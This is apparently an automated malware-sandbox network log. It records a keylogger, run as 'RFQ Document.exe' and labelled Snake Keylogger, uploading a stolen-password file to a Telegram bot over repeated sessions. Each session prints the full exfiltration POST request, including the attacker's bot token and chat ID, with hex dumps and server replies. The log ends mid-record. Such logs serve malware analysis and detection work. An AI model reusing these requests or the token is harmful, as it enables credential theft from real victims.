2021-09-28 05:58:40 UTC	140	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	140	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12670,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49864	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:40 UTC	140	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd69a4f9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:40 UTC	141	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 36 39 61 34 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd69a4f9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:40 UTC	141	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	141	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12671,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49865	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:40 UTC	142	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cd7f1cd4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:40 UTC	142	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 37 66 31 63 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cd7f1cd4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:40 UTC	143	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12672,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49783	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:22 UTC	14	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c2eaaeaa Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:22 UTC	14	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 65 61 61 65 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c2eaaeaaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:22 UTC	14	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:22 GMT Content-Type: application/json Content-Length: 519 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:22 UTC	15	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12588,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808702,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49866	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:40 UTC	144	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cda53fd6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:40 UTC	144	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 61 35 33 66 64 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cda53fd6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:40 UTC	144	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	145	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12673,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49867	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:40 UTC	145	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cdc43fba Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:40 UTC	146	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 63 34 33 66 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cdc43fbaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:40 UTC	146	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	146	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12674,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49868	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:40 UTC	147	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cddc15cc Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:40 UTC	147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 64 63 31 35 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cddc15ccContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:40 UTC	148	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:40 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:40 UTC	148	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12675,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808720,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.4	49869	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:41 UTC	148	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cdf18b5f Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:41 UTC	149	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 64 66 31 38 62 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cdf18b5fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:41 UTC	149	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:41 UTC	150	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 31 2c 22 64 Data Ascii: 